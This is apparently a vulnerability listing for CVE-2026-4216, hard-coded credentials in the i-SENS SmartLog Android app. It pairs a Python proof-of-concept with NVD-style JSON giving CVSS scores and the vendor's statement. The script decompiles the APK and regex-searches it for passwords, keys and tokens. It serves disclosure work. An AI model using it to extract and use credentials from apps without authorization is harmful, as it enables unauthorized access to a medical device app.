CVE-2026-4216

# CVE-2026-4216 PoC - Hard-coded Credentials in i-SENS SmartLog App # This PoC demonstrates extraction of hard-coded credentials from the APK import subprocess import zipfile import re import os def extract_apk(apk_path, output_dir): """Extract APK contents using apktool""" print(f"[*] Extracting APK: {apk_path}") subprocess.run([ 'apktool', 'd', apk_path, '-o', output_dir, '-f' ], check=True) def search_hardcoded_credentials(directory): """Search for hard-coded credentials in decompiled source""" print("[*] Searching for hard-coded credentials...") patterns = { 'passwords': [r'password\s*[=:]\s*["\']([^"\']+)["\']', r'PASSWORD\s*[=:]\s*["\']([^"\']+)["\']'], 'usernames': [r'username\s*[=:]\s*["\']([^"\']+)["\']', r'USERNAME\s*[=:]\s*["\']([^"\']+)["\']'], 'api_keys': [r'api[_-]?key\s*[=:]\s*["\']([^"\']+)["\']', r'API[_-]?KEY\s*[=:]\s*["\']([^"\']+)["\']'], 'tokens': [r'token\s*[=:]\s*["\']([^"\']+)["\']', r'TOKEN\s*[=:]\s*["\']([^"\']+)["\']'] } findings = [] for root, dirs, files in os.walk(directory): for file in files: if file.endswith(('.java', '.smali', '.xml', '.properties')): filepath = os.path.join(root, file) try: with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() for cred_type, patterns_list in patterns.items(): for pattern in patterns_list: matches = re.findall(pattern, content, re.IGNORECASE) if matches: for match in matches: findings.append({ 'type': cred_type, 'value': match, 'file': filepath }) except Exception as e: continue return findings def search_air_smartlog_component(directory): """Search specifically in air.SmartLog.android component""" print("[*] Analyzing air.SmartLog.android component...") smartlog_path = None for root, dirs, files in os.walk(directory): if 'air' in dirs: air_dir = os.path.join(root, 'air') if os.path.exists(os.path.join(air_dir, 'SmartLog')): smartlog_path = os.path.join(air_dir, 'SmartLog') break if smartlog_path: print(f"[+] Found air.SmartLog component at: {smartlog_path}") return search_hardcoded_credentials(smartlog_path) return [] def main(): print("=" * 60) print("CVE-2026-4216 PoC - Hard-coded Credentials Extraction") print("Target: i-SENS SmartLog App <= 2.6.8 (Android)") print("Component: air.SmartLog.android") print("=" * 60) apk_path = "SmartLog.apk" # Path to the APK file output_dir = "decompiled_smartlog" # Step 1: Extract APK if not os.path.exists(output_dir): extract_apk(apk_path, output_dir) # Step 2: Search for hard-coded credentials findings = search_air_smartlog_component(output_dir) if findings: print("\n[!] Hard-coded credentials found:") for i, finding in enumerate(findings, 1): print(f"\n[{i}] Type: {finding['type']}") print(f" Value: {finding['value']}") print(f" File: {finding['file']}") else: print("\n[-] No obvious hard-coded credentials found.") print(" Manual analysis may be required.") print("\n[*] Note: This PoC requires the target APK file.") print("[*] Usage: python cve-2026-4216-poc.py SmartLog.apk") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-4216", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:08.733", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in i-SENS SmartLog App up to 2.6.8 on Android. This affects an unknown function of the component air.SmartLog.android. This manipulation causes hard-coded credentials. The attack can only be executed locally. The exploit has been made available to the public and could be used for attacks. The vendor explains: \"The function referenced in the report currently exists in our deployed system. It is related to a developer mode used during the configuration process for Bluetooth pairing between the blood glucose meter and the SmartLog application. This function is intended for configuration purposes related to device integration and testing. (...) [I]n a future application update, we plan to review measures to either remove the developer mode function or restrict access to it.\""}, {"lang": "es", "value": "Se ha identificado una debilidad en la aplicación i-SENS SmartLog hasta la versión 2.6.8 en Android. Esto afecta a una función desconocida del componente air.SmartLog.android. Esta manipulación causa credenciales codificadas de forma rígida. El ataque solo puede ejecutarse localmente. El exploit se ha puesto a disposición del público y podría usarse para ataques. El proveedor explica: 'La función a la que se hace referencia en el informe existe actualmente en nuestro sistema desplegado. Está relacionada con un modo de desarrollador utilizado durante el proceso de configuración para el emparejamiento Bluetooth entre el medidor de glucosa en sangre y la aplicación SmartLog. Esta función está destinada a fines de configuración relacionados con la integración y prueba de dispositivos. (...) [E]n una futura actualización de la aplicación, planeamos revisar las medidas para eliminar la función del modo de desarrollador o restringir el acceso a ella.'"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-259"}, {"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://vuldb.com/?ctiid.351140", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351140", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.770497", "source": "[email protected]" ... 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